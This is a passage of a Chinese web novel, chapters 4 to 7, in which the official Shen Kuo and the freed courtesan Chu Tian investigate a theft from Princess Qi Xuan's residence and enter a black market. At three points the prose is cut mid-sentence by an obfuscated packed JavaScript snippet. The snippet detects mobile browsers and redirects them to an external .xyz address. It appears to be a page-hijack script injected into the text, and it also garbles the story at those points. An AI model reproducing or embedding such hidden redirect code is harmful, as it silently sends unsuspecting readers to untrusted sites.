沈阔不喜欢小动物，更理解不了人类为何会对它们表现出亲昵和喜爱，最让他难以接受的是，柳青一个五大三粗的男子将猫抱在怀里，逗弄着猫的同时还捏着尖细的嗓音唤着“小猫咪”。 他听得一阵肉麻，赶紧不耐烦地支走了对方。 沈阔看了眼楚恬，转身朝着书房行去，走了几步后发现楚恬没有跟上，于是又停下了脚步，他转过身问楚恬为何还愣在原地。 今天的沈阔穿着件深蓝色的广袖交襟外袍，上面绣有鸿鹄振翅的花样，腰间仅系了一条金色的穗带。 且今日的沈阔破天荒地没有束发，只用一根玉竹簪子将上半部分头发绾了个松散的发髻。 他则将双手揣在广袖里，尽显慵懒之态的沈阔与平日里不苟言笑的模样大相径庭。 “哦，来了！”楚恬应了一声后跑到了沈阔的面前，待沈阔启步后，他才在沈阔的斜后方，大约半步的距离不紧不慢地跟着。 楚恬微微偏头，看着晚风掠起沈阔的头发，慢慢地朝自己这边飘过来，然后微不可察地滑过手背，最后与自己的发梢纠缠在一起。 那一刻，楚恬觉得这情景好似对沈阔的亵渎。他怔了一瞬后，默默地停下了步伐，直到与沈阔拉出两步之远后才重新跟上。 可即便如此微末的动作，也难逃沈阔的鹰眼。 他觉得奇怪，却又想不明白是为什么。 许是今天与祖父对弈连输三局的缘故，沈阔的心里总是闷闷的，像是憋了一股无名火气。 于是在进入书房后的第一刻，他就问楚恬字练得如何了。 楚恬有些茫然，沈阔这语气听着像极了临时检查课业的先生，但明明他走之前没有给自己布置过课业。 “我……” “就知道你没有练习。”沈阔丝毫不给楚恬解释的机会，“不是说了要勤加练习的么？偷懒了，嗯？” 沈阔一脸偷懒还被我抓包的得意。 可楚恬委屈啊，但他偏偏又不能说，只得认下了这项“莫须有”的罪名。 看着楚恬委屈的模样，沈阔心里的阴霾瞬间晴朗了。他甚至还有闲情给楚恬指导一二。 楚恬聪慧，一点就通，但他对笔锋的把控还是有所欠缺，致使写出来的字显得有气无力。 但这个缺点不是靠说就能改正的，沈阔讲了半天，楚恬懂是懂了，可就是不会。 沈阔也不是个很有耐心的主，说了好几遍却丝毫没有达到预想中的效果时，他直接上手了。 沈阔将楚恬往身边拽的同时，自己也靠了过去，将楚恬半圈在了怀里。 楚恬握着笔，他则握着楚恬的手，并教楚恬写了撇、捺和弯钩。 不曾想，效果不佳，甚至比楚恬自己写的还要难看。 沈阔正想发脾气，偏头时，目光恰巧落在了楚恬的脖子上，偏偏楚恬穿的衣裳不太合身，领口处略大了些。 沈阔这才反应过来两人之间似乎有些亲昵，他赶紧推开了楚恬，心虚地说了句：“孺子不可教也！笨死了，我不教了！” 言罢，沈阔便起身向书房外面走去，可他刚到院子里，又发现自己刚刚有些莫名其妙，于是又折了回去。 楚恬还愣愣地跪坐在原地，想来一时间也没想明白到底发生了什么。 他真以为是自己太笨了才导致沈阔生那么大的气，自责的他不禁红了眼眶。 而沈阔在看到楚恬的那一刹那，顿时就懵了。 “书法，不是一两天就能练成的，你在这么短的时间内能写成这样，已经算不错了。”沈阔感觉脑子都快冒烟了，“来日方长嘛，也不用急于这一时半刻。” “是，大人。”楚恬喏声应道。 “嗯，那个，刚才我说话的语气有些重，你别放在心上。”沈阔想不明白就楚恬这样的性格是怎么在弄春楼待了五年之久的。 “不怪大人，是我太笨了。” “不怪你，是我的原因。” “是我……” “是谁？” 一道奇怪的声音突然冒了出来，沈阔回头，见柳青端着盘糕点边吃边走了进来。 “你们在说什么？”柳青看看沈阔又看看楚恬，忽然，他惊呼道，“大人，您欺负他了？” 沈阔瞪大了眼睛，“我欺负他？” 转眼一看楚恬，那般可怜巴巴的模样，可不就是受了欺负嘛。 沈阔无言辩解。 “不关大人的事，是我的错。”楚恬替沈阔解释道。 可楚恬不说不要紧，他这一说，柳青的眼底顿时迸发出了好奇的光芒，他的视线在二人之间逡巡，好像发现了什么不得了的秘密。 “你们——” “你是不是闲得慌？”沈阔打断了柳青的话。 “我……”柳青怔了一瞬，才想起自己的正事儿，“属下是想请大人指点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852961|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指点，要如何才能抓到窃取公主府宝物的盗贼。” 沈阔捏着眉心叹了口气，这事儿终究还是要解决，不然过两天大公主又得派人来催了。 柳青当着沈阔和楚恬的面，再次将案情从头到尾捋了一遍，并且发表了自己的看法。 “属下觉得，作案的不是人。” “不是人？”沈阔反问。 柳青非常认真地点了点头，“人的话，无论如何也会留下些蛛丝马迹，又怎会像是凭空消失了一般？” “那你觉得是什么？” “鬼！”柳青斩钉截铁，他甚至还非常有理的替神作起了辩解，“神仙可不会做这种下三滥的事儿！” “既然是这样，要不你去阴曹地府走一遭，找阎王爷问问是哪只鬼偷了大公主的东西？”沈阔气得发出阴恻恻的冷笑。 “还是别了吧。”见沈阔认了真，柳青赶忙拒绝道。 “属下愚笨，实在是想不明白，还请大人赐教！”过了一会儿，柳青又厚着脸皮说道。 沈阔还没忘掉刚刚与楚恬发生的那段小插曲，以至于跟柳青说话的时候，目光总是有意无意地落在楚恬身上。 可楚恬却一改委屈的神情，跟个没事儿人一样，正聚精会神地听着两人谈论案情，倒是侧面衬托得沈阔有些小家子气。 沈阔懒懒地靠在椅背上，右手撑在桌面上，食指搁在下巴上轻轻揉搓着，他思忖了小许，突然问楚恬：“你好像有话想说？” 楚恬愣了一瞬后，下意识地垂首，“......没有。” 沈阔昂首的同时翘起了二郎腿，“没事，说来听听，即便错了我也不怪你。” 楚恬还没开口，柳青却急了，“大人，属下跟您谈正事儿呢，你怎么还有闲趣逗弄起他来了。” 沈阔抬手禁了柳青的言，目光灼灼地看着楚恬。 楚恬做了许久的准备后，才鼓起勇气断断续续地说道：“既是盗贼，在得手之后应该会销赃，但因偷盗的是皇家的东西，一般的当铺和首饰铺必然不敢接手，所以我觉得可以去黑市上瞧瞧，或许能探寻到赃物的去处，以此倒查盗贼的踪迹。” 楚恬非常地不自信，他每说一句便要瞧一眼沈阔的脸色。 未等沈阔开口，柳青先不屑地嘲了一声，正想揶揄楚恬一番“你一个倌人懂什么”的时候，却见沈阔竟然肯定了楚恬这一番发言。 “不是，大人您认真的？”柳青懵了，他对沈阔对楚恬的赞赏觉得非常地不可思议。 沈阔非是假意捧场，他也没那个必要，单纯是觉得楚恬小小年纪，且在没有任何教导的情况下能有这番思维实属难得。 反正比柳青聪明多了，毕竟盗窃案都过去这么久了，柳青除了莽头莽脑到处搜人外，脑子是一点儿也不懂得变通。 “不过——”楚恬欲言又止。 “不过什么？”沈阔追问。 楚恬没有回答，而是反问了一句，“敢问公主府的守卫情况如何？” “都说是公主府了，那还用说吗？”柳青不服气地插嘴道，“虽不上皇城那般森严，但也不是随便哪个腌臜都能随意进出的。” “这便是了。”楚恬转向沈净阔，“虽说公主府珍宝多值得冒险，但去公主府偷窃可比普通人户危险多了，一般的盗贼没那个本事，所以要么是数一数二的高手，要么......” 剩下的话楚恬没敢说，但沈阔却已了然。 而一旁的柳青看着两人打起了哑谜，心里急得直痒痒，他问沈阔，沈阔又不想搭理他，只好赔着笑脸找楚恬解惑，“好弟弟，跟哥说说，要么是什么？” 对于突然亲近起来的柳青，楚恬感到有些不自在，他轻轻地朝旁边挪了挪，又看了眼沈阔的脸色后才悄声对柳青说了四个字。 “监守自盗。” 5. 第 5 章 沈阔突然对公主府失窃一案来了兴趣。 于是第二日，他便带着楚恬亲自去了趟公主府。 楚恬不解沈阔为何会带上自己，但沈阔不主动说，他也就不会多问一句，只乖乖地跟在沈阔身后。 楚恬身份卑贱，为免给沈阔招来不必要的麻烦，他一直暗暗地提醒自己一定要谨小慎微。 可当他进了公主府，又明知沈阔是为查案而来时，便忍不住朝四处打量起来。 沈阔亦是眼尖地捕捉到了楚恬的动作，“不用拘谨，大胆地观察，正好也让我看看你的本事。” “大人……”楚恬似乎明白了沈阔的用意。 沈阔用眼角余光瞄了眼楚恬，见他又是那副感激到快要涕零的模样，不禁勾起了唇角。 “你的逻辑不错，有人教过你，还是以前有过探案的经历？”沈阔问。 楚恬摇了摇头，“都没有。小时候我睡不着，阿爹便常给我讲稀奇古怪的故事，所以我自小便对各类奇闻志异格外感兴趣，认字后，我看不进四书五经，却对探案解迷类的话本情有独钟，应是看多了使然吧。” “难怪！”沈阔笑话道，“一本宋槐游记就把你给迷住了。” 回想起自己被逮现行的经历，楚恬窘迫不已。 说话间，二人已在公主府侍卫的引领下到了后院。楚恬远远地便看见前方水榭中倚靠着栏杆喂鱼的扶摇公主祁萱。 祁萱身后，有五名伶人正在弹奏时下兴起的《四愁诗》，而祁萱脚边，另有两名容貌姣好的乐人跪地而坐，一人手里端着鱼食，另一人则举着盘葡萄。 祁萱神情悠然自得，一点儿也没有因为丢失了宝物而苦恼。 “臣沈阔，拜见公主殿下！” 楚恬见了，也连忙学着沈阔的样子对祁萱行了拜礼。 祁萱缓缓回头，一双狐狸眼晕染着玫红色的脂粉，纤长细密的睫毛轻轻地扑闪着，只需一眼，便足以勾人心魄。 以前只听说过扶摇公主有着天仙般的美貌，今日一见，果真名不虚传。 楚恬兀自感叹着，浑然不觉祁萱已将视线落在了他的身上。 “哟，什么风把沈大人给吹来了？”祁萱将手中的鱼食扬了出去，池塘里的锦鲤瞬间围过来打起了圈儿，“今儿个沈大人终于得闲了？” “臣办事不力，一直未能抓到盗取殿下府上珍宝的窃贼，今日特意前来赔罪。”得了祁萱邀请后，沈阔在榭中的凳子上坐下。 嘴上说着前来赔罪，可屁股还没落下，沈阔便已拿了刀自顾削起了苹果，瞧他那毫不拘谨的样子，哪儿有半点儿道歉的诚意。 “这么点小事儿还劳烦沈大人亲自跑一趟，本宫还真是有些过意不去呢。”祁萱哼笑道。 “殿下还在生臣的气？”沈阔将削好的苹果切成小块放在琉璃盏中，又拿了削好的竹签插在苹果块上，讨好地端到了祁萱面前。 祁萱抬手一扫，所有的伶人皆会意地退出了水榭，接着她翘起手指拿了块苹果，又扫了沈阔一眼，故意装得一副冷漠疏离的样子，“本宫哪儿敢生沈大人的气啊。本宫心里明白，只有太子交待给你的才是正事儿，本宫的这些小事儿又算得了什么呀！” 沈阔见状赶忙哄道：“殿下！萱姐姐！您在我心中的分量与太子殿下是一样的，这些日子我确实有些忙，但也从未忘记您交待于我的事情，我一直让人查着呢，奈何那窃贼太过狡猾，还没有寻到他的踪迹罢了。” “不过殿下尽管放心，我向您保证，一定尽快将窃贼缉拿归案！”沈阔道。 祁萱终是没有绷住，不禁笑出了声来。沈阔虽不是她的亲弟弟，却也是她看着长大的，哪能真的生他的气。 “行了，别跟我耍贫嘴。”祁萱吃了苹果将竹签扔回了琉璃盏中，没好气地说道。 “臣是认真的，殿下。”沈阔道。 “这么说，你是打算亲自接手这个案子咯？”祁萱问。 沈阔点了点头，“殿下的事就是臣的事，臣一定尽心竭力，给殿下一个满意地答复。” 祁萱的脸色柔和了许多，她抬起下巴指了指垂首而立的楚恬，捻起一块剥了皮的葡萄咬了一小口，饶有兴趣地问沈阔：“他就是你带来向本宫赔罪的礼物？” “小青云长大了，寻着好的，都知道想着本宫了。” 沈阔愣了一下，一时间没有反应过来。 同时，楚恬也惊住了，他抬起头不可置信地看着沈阔。 “不，不是，这......”沈阔看了眼楚恬，又转向祁萱，结结巴巴地解释着，“殿下误会了，楚恬他不是——” “原来叫楚恬啊。”祁萱直接打断了沈阔的话，起身踱至楚恬面前，“怎么叫这个名字？听着倒像是个姑娘。” 楚恬看了眼沈阔，恭敬地答道：“回殿下，恬，安也，家父以此为名，本意是希望小人一生无波无澜，安逸舒适。” “原来如此。”祁萱满意地点着头。 一旁的沈阔见祁萱的眼色愈渐有些不对，赶紧上前挡在了她和楚恬之间，并顺势将楚恬往后拉了一下，瘦削的楚恬被他挡了个严严实实，“殿下，您真误会了。” “误会？”祁萱不解地看着沈阔，“难道他不是你带来给本宫解闷的？” “不是。”沈阔斩钉截铁地回道。 “莫非本宫记错了？他不是你从弄春楼赎回的倌人么？” 沈阔顿了一下，他扭头看了眼面露伤色的楚恬，解释道：“楚恬他是臣从弄春楼救回来的，但他不是那种人，臣更没想过将他送给殿下。” “哦？”祁萱疑惑，“那你带着他来此处作甚？” 沈阔难得耐心一回，他道：“楚恬虽出身微末，却要比臣的那几个手下要伶俐得多，此次带他过来，是想让他帮着查找线索，早日追回殿下丢失的珍宝。” “当真？”祁萱半信半疑。 “当真！”沈阔斩钉截铁地回道。 “看来真是本宫误会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852962|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”祁萱叹了口气，颇有遗憾之味，“刚才多有冒犯，还望楚公子见谅！” “小人不敢。”楚恬悬着的心终于落了回去。 见祁萱重新折回了长椅上靠着，沈阔亦是暗戳戳地吐了口气，但他却再不敢让祁萱正眼瞧见楚恬，但凡祁萱挪动一下，他都要跟着挪一步，确保挡了祁萱的视线。 最后，显然又惹得祁萱有些不快。 “大胆沈阔，本宫虽好美色，却也不是那种强人所难的无耻之徒，既已说开，本宫便不会再生出别的心思，你又何必像防贼般的防着本宫？” “臣知错！”沈阔悻悻地挪开了半步。 祁萱瞪了沈阔一眼，叮嘱了他几句话后，便借称身体困乏而离开了水榭。 楚恬望着扶摇公主远去的背影，看着她经过廊桥时，红黄相间的罗裙在池面上倒映出娉婷之姿，不禁感慨万千。 扶摇公主祁萱是当今圣上与宠妃秦氏所生，是圣上的第一个孩子，她甚至比太子更受圣上宠爱和信任，也正因如此，圣上一心想为她寻一位才貌双全的如意郎君，从皇亲国戚到新科状元，从翰林院学士到锦衣卫统领，皆任其挑选，但却无一人入祁萱之眼。 就这样，早已过了及笄之年的祁萱直至二十岁时，才在句兰国使者前来求亲后，下嫁给了句兰国王子鲜于淳。 而这位集万千宠爱于一身的公主殿下自然不可能去往句兰国那等贫瘠之地生活，于是圣上与要臣一合计，扶摇公主和驸马在宫中完婚后直接定居在了长京。 婚后的两人鹣鲽情深、琴瑟和鸣，都道薄情的帝王家终于出了一对痴情爱人，不曾想，天有不测风云，鲜于淳因水土不服患上了温病，最终不治而亡。 成婚不到一年的夫妻就此阴阳两隔，令人唏嘘。 从那以后，原本知书达理的祁萱就跟换了一个人似的，一改曾经的循规蹈矩，变成了一个离经叛道之人。其夫断七未过，她便唤来了望月轩的伶人吟唱作乐，甚至公然与男倌儿在后院厮混。 都说扶摇公主是接受不了夫君的突然离世，受了非常大的刺激才变了性格，世人虽有指责，但更多的还是对她怀以怜悯。更何况王公贵族之列，厮混者数不胜数，且扶摇公主其人本性纯良，常行善于民，备受百姓夸赞，这么一比较起来，养几个面首也算不得什么污点了。 “看这么入神？”沈阔唤了楚恬两声，后者仍浑然未觉，于是调侃了楚恬一句，“我刚才是不是回绝得太快了？毕竟与你相关，理应问过你的意见才是，不过没事，公主还没走远，现在追上去也完全来得及。” 楚恬的脸上划过一抹淡淡的忧伤，即便他知道沈阔说的是玩笑话，可心中仍是无法抑制的锥痛着。 他想辩解，却又不知该如何开口，他心中清如明镜，自从他落入尤二娘之手的那一刻开始，他与普通百姓人之间便隔起了一道难以跨越的鸿沟，即便如今已脱离那是非之地，但因着他的过往，人们第一眼看到的仍是过去那个肮脏的他。 6. 第 6 章 沈阔带着楚恬在公主府兜了两圈，期间他不是没有发现楚恬的失落，回想起自己刚才的口不择言，沈阔怀疑可能是自己说的那些话的缘故。 但沈阔并无恶意，纯粹就是嘴贱开个玩笑，殊不知这个看似随意的一句玩笑，却像是一把利刃深深地扎进了楚恬的心里。 沈阔瞄了楚恬好几眼，思量着要不要给楚恬道个歉。 “大人，那盗贼便是从此处逃走的？” “嗯？哦……”沈阔一怔，恍然回过神来，“巡卫是这样说的。” 涌到喉咙的话被生生卡住了，沈阔张了张嘴，还是打消了那个念头。楚恬只是他突发善心救回来的一个小奴仆而已，那些话说便说了，有什么打紧？ 身为主人，难不成还得顾及奴仆的心情？ 那不倒反天罡了么！ “有问题么？”成功说服自己的沈阔端起身子，正了神色，目光朝楚恬手指的方向看去。 楚恬歪头思考了片刻，轻摇着头，“就是觉得有些不符合常理。” “说来听听。”沈阔背着手，偏头看着楚恬的侧脸。 楚恬的脸很小，是沈阔只用一只手便能盖住的程度，他的脸色微微有些发白，双唇倒是比之前添了丝血色，因着常年遭受挨饿受冻之苦，与同龄人相比，楚恬稍显瘦削，但他的个子却是不矮，将近六尺的个子刚刚卡在沈阔的耳垂处。 也正是因为他这副不太协调的身材，显得他有些许羸弱，好似风一吹便会倒，手一捏便会碎。 楚恬的衣裳是云儿从别的仆人那里找来的，于他来说有些宽松，也有些短，灰白的麻布衣被洗得发白，可穿在他的身上，却又多了一缕不甘和桀骜。 楚恬五官亦生得很是精致，但最让人动容的还是他那双眸子，黑黝黝、亮晶晶，清澈的瞳珠下掩藏着一丝丝地惊怯，像极了他捡到的那只小黑猫。 沈阔忽地又失了神，待反应过来后，他赶紧将视线落在了远处。 “此处距离公主的卧房有着很长一段距离，按理说一个娴熟的窃贼，在得手之后会选择就近的路线逃跑，而公主卧房后面便是他的最佳逃跑路径，当时他又没有被人发现，也就谈不上被人追捕，他又何必舍近求远跑到这边来？” 楚恬说完便抬起头望着沈阔，后者蹙起眉头双眼微眯，若有所思了片刻后，回道：“但巡卫不可能看错，更不可能撒谎。” 楚恬点了点头，又道：“所以我怀疑那窃贼是有意而为之，或许他根本就是醉翁之意不在酒。还有一点我比较在意的是，窃贼如此大费周章地跑到公主府行窃，甚至可以说是冒着生命危险来的，可最后却只带走了为数不多的珠宝首饰，这反常的行为就更加地另人生疑了。” 沈阔抬首张望四周，他将事发经过从头到尾梳理了一遍后，肯定了楚恬的推测，但却仍旧摸不清盗贼的真实意图。 “殿下她只是一个妇人，从不涉朝堂之事，虽说......”沈阔清了清嗓子，“虽说府中日子过得奢靡了些，但也不至于招致杀身之祸。” “不过——”沈阔忽地一顿，像是想起些什么。 楚恬等了许久也没等到下文，忍不住反问了一句，“不过什么？” 可沈阔只是淡淡地看了楚恬一眼，并未有解释的打算，而楚恬也很快就明白了过来。 沈阔这是信不过他。 楚恬落寞地点了点头，“总之，在查出真相之前，大人还是要叮嘱公主殿下多加小心才是。” 沈阔垂眸间，将楚恬的小情绪尽收眼底，他默然片刻后对楚恬道：“你先去外面等我。” “是。”楚恬应道。 沈阔启步朝后院走去，楚恬在原地站了小许后便朝着府门行去。正所谓好事不出门，坏事传千里，提刑官沈阔从弄春楼赎了个男倌儿回府一事早就传遍了整个长京，因而在楚恬踏足公主府的第一刻，便有人猜出了他身份，并频频朝他投来了好奇的目光。 只不过先才碍于沈阔在场，众人的眼色皆有所收敛，眼下沈阔一走，他们便不再掩饰，打量起他的同时，还露出了鄙夷的神色。 众人的目光一寸一寸地掠过他的身体，在他们面前，楚恬就像是裸身走过一般，又羞又耻。 楚恬如芒在背却又不得不故作镇定，出了公主府，逃离了那些耐人寻味的审视，他终于松了口气。 楚恬双手垂在身前，静默地伫立在檐下，只用发带绑了一半的头发铺散在背上，那孤寂的身影无端给人一种遗世而独立地缥缈感。 这还是楚恬自入京以来头一遭走出来，他打量着繁华的街道，绵延的屋脊，湛蓝的天空，以及行人肆意绽放的笑容，心底无比地羡慕。 明明一切都近在眼前，可楚恬却总觉得那些普通人唾手可得的幸福距离他非常的遥远，他不知道自己何时才能拥有那样的快乐。 更不知自己有没有资格拥有那样的幸福。 “走了。”沈阔不知何时走了出来，他唤了楚恬一声，两人随即登上了门口的马车。 “想什么呢，都入神了。”沈阔坐下后习惯性地扬了下衣裳前摆。 “殿下那边怎么说？”楚恬没有回答，反而问起了沈阔。 “殿下听到我说那贼人可能是奔着她去的以后，嘲笑了我一通。”沈阔无奈道，“她不相信我们的推测，还说要是我觉得抓个贼很费劲的话就算了，反正丢的那些东西于她来说也算不得什么。” “殿下不信也正常，毕竟我们也只是推测，没有凭据来证明。”楚恬道，“也有可能是我想得太多了。” 沈阔没有急着否认，只道：“在真相露出水面之前，每一种可能都是我们必须要考虑到的。” 楚恬明白沈阔的意思，“那公主那边——” “不用担心，我已嘱咐了公主府兵，他们会严防死守，寸步不离地保护公主，若有异常情况，他们会及时禀报于我。”沈阔道，“等会儿我会亲自走趟锦衣卫，让他们加强公主府周围的巡视。” 沈阔说完，车厢里陷入了短暂的沉默。 “其实有一点我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852963|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想明白。”沈阔看着昏昏欲睡地楚恬，忽然开口。 楚恬猛地一下睁大了眼睛，努力提起精气神，“大人您说。” 沈阔道：“若那人真是为刺杀公主而去，他又何必偷走公主的首饰？难道只是顺手？且他既能神不知鬼不觉地穿行于公主府，想来悄悄靠近公主也不是件难事，更何况刺杀并不一定要近距离接触。” 楚恬被问住了，他怔了怔，没底气地说道：“也许就是我想多了......也许对方只是个窃贼，至于那些奇怪的地方，可能只是个巧合罢了。” 沈阔长长地呼了口气，他看着楚恬自责的模样，于心不忍，“世上哪儿来那么的巧合？看来这件事，非是我想象的那么简单。” 见沈阔并未责怪自己，楚恬又鼓起勇气问了一句，“那大人接下来打算从何查起？” 沈阔没有回答，只是意味深长地看了楚恬一眼。 但很快，楚恬就知道沈阔下一步的打算了。 两人回提刑司等着外出查案的柳青归来，他们一直等到了晚上，柳青才蔫蔫儿地回来了。 看他那精疲力尽的模样，沈阔便知他是无功而返。 “大人，属下可真没辙了。”柳青一屁股坐在沈阔案前，瘫着身子哀嚎道，“属下查遍了长京的所有当铺和珠宝首饰铺，都没有查到赃物的消息。” “黑市呢？”沈阔头也没抬。 柳青从楚恬手中接过茶杯猛灌了一口茶仍不解渴，又伸手问楚恬要了一杯，“谢谢老弟。——黑市啊？” 柳青挠了挠头，悻悻地回道：“自一年前那场大乱后，曾经的无所不能的黑市就不复存在了，属下寻着几个以前常混迹于黑市上的人，他们什么也不知道。” 沈阔点了点头，“嗯，知道了。” 沈阔平淡的反应反倒让柳青不淡然了，他起身挪到沈阔面前，讪笑着说道：“大人您不骂属下几句，属下反而有些不习惯了。” 沈阔抬头瞪了柳青一眼，“意料之中罢了，骂你又能如何，不过是浪费我的口水罢了，还能让你长点儿脑子不成？” 柳青听后嘿嘿笑了，“还是大人懂属下。” 沈阔气得语塞。 之后，他屏退了柳青，却在楚恬将要离开书房时，忽然唤住了他。 “大人请吩咐。”楚恬道。 沈阔看了楚恬一会儿，忽然又道：“算了，你退下吧。” 楚恬并没有离开，他问沈阔：“大人是想让我与您同去黑市走一趟？” 沈阔讶然，楚恬确实比柳青聪明多了。 “我之前与黑市上的人打过交道，他们几乎都认得我。” 沈阔话未说完便被楚恬接了过去，“所以大人是想找一个生面孔，但又担心我去了不安全。” 沈阔点了点头。 “没关系，我不害怕。”楚恬道，“能为大人分忧，是我的荣幸。” 沈阔不禁挑起了眉头，须臾后，他道：“我会一直跟在你后面。” “嗯，好。” 7. 第 7 章 子时刚过，两道黑影便从提刑司悄然飘出。 楚恬换了身藏青色的衣裳，原以为这种颜色会将他衬得沉稳一些，不曾想衣裳的面料是由云锦裁制而成，即便是在夜里，依然难掩其光丽灿烂的色泽，尤其是在月光的映照下，他的衣裳仿佛镀了一层浅色的银辉，行走间晃动的褶皱，彷如冬天里的一湾波光粼粼的寒潭。 楚恬摸着这比自己命还贵的布料，不太敢大幅度地走动。 而沈阔则是一身黑衣装扮，外加黑色的斗篷直接盖过额头，一副黑色的铁皮面具遮了眉眼，怀中还抱着一把比手掌还宽的刀，刀鞘是以鹿皮包裹黑檀木制成，刀柄上更是用了红色的布带缠绕。 沈阔与楚恬相隔一尺的宽度并肩走着，沈阔察觉到了楚恬的局促不安，只当他是在害怕，于是安慰他道：“黑市经过一年前的那场大清洗过后，那里的人都收敛了许多，不到万不得已之时他们不会轻易动手。” 沈阔看了楚恬一眼，见他神色有所松弛，接着又道：“但也不能掉以轻心，那些人非常地狡猾，最擅长的就是装无辜，稍不注意就会被他们带坑里去。” “那我要如何才能从他们口中套出我们想要的消息？”楚恬不知道自己能否顺利完成这项重任。 “有钱能使鬼推磨。”沈阔淡声回道，“那儿的人大多都是认钱不认人的主儿。” 说着，沈阔便从怀里掏出了一个钱袋子抛给了楚恬。 钱袋子上还残留着沈阔的体温，楚恬小心翼翼地捧着，接着打开看了一眼，只见里面全是黄灿灿的金锭。 楚恬惊讶地抬头看着沈阔。 “就这么简单？”楚恬半信半疑，如果只需给钱就能买到消息的话，那要他来有何用？ “但唯有一条规矩，是所有人心照不宣的。”沈阔道，“他们不与官府的人做交易。” “哦。”楚恬放下心来，原来他也并不是一无是处。 两人都不是健谈之人，说完话后，两人同时沉默了下来。从提刑司到城西，将近一个时辰的路程，二人也只寥寥说了几句话。 最初的黑市，与普通集市无异，只因京中地段有限，不能容纳所有人当街摆摊，而这个世道终究还是强者称王称霸，因此弱者只能另谋出路，刚开始，他们只是在夜色来临时，趁着别人收摊后出来卖点菜或者手工，但一晚上也卖不了几个铜钱，生活难以为继之时，胆量便会被激发，于是有的人便开始做一些违法的买卖，时间长了，便彻底地沦为了罪犯的巢穴。 现在黑市上鱼龙混杂，倒卖赃物，杀人放火，他们什么都干，唯独不做正经生意。 此前，阉人苗三圃为了在民间引发骚I乱，暗中与黑市勾结做出了无数伤天害理之事，苗三圃伏法后，沈阔趁机踏平了曾经的黑市，但仍有不少人趁乱逃之夭夭，未料到，仅过去了一年，他们便卷土重来了。 那些人一呼百应，很快就在城西一隅的废墟上搭起了屋棚，许是怕辛辛苦苦建立起来的基业再次覆灭，现在的他们收敛了许多，而东宫那边则表示，只要他们不做烧杀抢掠等残暴之事，朝廷便可睁一只眼闭一只眼。 毕竟，许多遭人嫌弃的老弱病残只能与黑暗作伴，而朝廷总得给这些无辜且可怜的弱者一处容身之所。 夜风萧萧，仲秋的季节，长京便已染上了冬的气息。 深巷寒犬，吠声如豹。方圆几里，像是被裹上了一层灰蒙蒙的瘴气，渗人的怪叫声更是从四面八方飘了过来，周遭灯火明灭，无端增添了些诡异的气氛。 在楚恬看来，这里俨然就是活人的地狱，那些穿行于街头巷尾的流民更是像极了随时都能索人性命的小鬼。 楚恬停下脚步，深吸了一口气。 “别担心，我不会让你死在这儿的。”沈阔轻声道。 楚恬挺直脊背看着沈阔，道：“我不是在担心这个。” “那你担心什么？”沈阔问。 楚恬没有回答，沈阔不知道的是，楚恬早已将生死看淡，他之所以紧张，仅仅是因为担心扮演不好角色而给沈阔拖后腿。 这里的人不仅言行诡异，有些人的相貌更是生得奇形怪状。 楚恬环顾四周时，突然有一个“怪物”冲到了他面前，吓得他一个激灵，定睛一看，才发现对方是一个只有半张脸的人，他的另外半张脸皱缩在一起，布满了疤痕，瞧着应是被火灼烧过的样子。 沈阔见状转了下手中的刀，那人便害怕地绕开了二人。 “他......怎么长这样？”楚恬不敢相信那骇人的面容是真实存在的。 “他小时候和继母的儿子打闹时，不小心摔进了火盆里，虽是保住了性命，但因毁容严重，导致他被家里人嫌弃，邻里更是因为害怕多次报官，最后不得已才来了黑市，像他这样的人在黑市上还有很多，或是生来残疾，或是后天遭遇毒害，但更多的还是一些投机取巧之人，只为谋财而来。” “您好像对这里的一切都了如指掌。” “天子脚下，五方杂居，三教九流，五行八作。若想保得一方太平，必须随时掌握城中动向，但世道变化太快，仅凭提刑司的微弱之力，还不能掌握全局。” 闻言，楚恬似乎明白了东宫容忍黑市存在的原因，“坏人是抓不完的，堵而抑，不如疏而导。” 沈阔讶然，冰冷的面具也遮掩不住他惊喜的神情，他的眸色慢慢转为欣赏，过了片刻后，他才回道：“对。” 楚恬察觉到了沈阔微弱的变化，他为此暗自开心。 在这片诡异的氛围中，沈阔和楚恬两人中规中矩的装扮，反倒在黑市上成了异类。 两人就走进黑市这一刻钟不到的功夫，已经收获了无数人的频频侧目。 楚恬虽面无表情，但明眼人一看就知他是个没有危害性的人，反观沈阔，虽然看不清他长什么样子，可从他那耷拉的嘴角，也能得出这人不好惹的结论。 所以路过的人一边又惮于沈阔的不怒自威，一边又忍不住好奇地打量着楚恬。 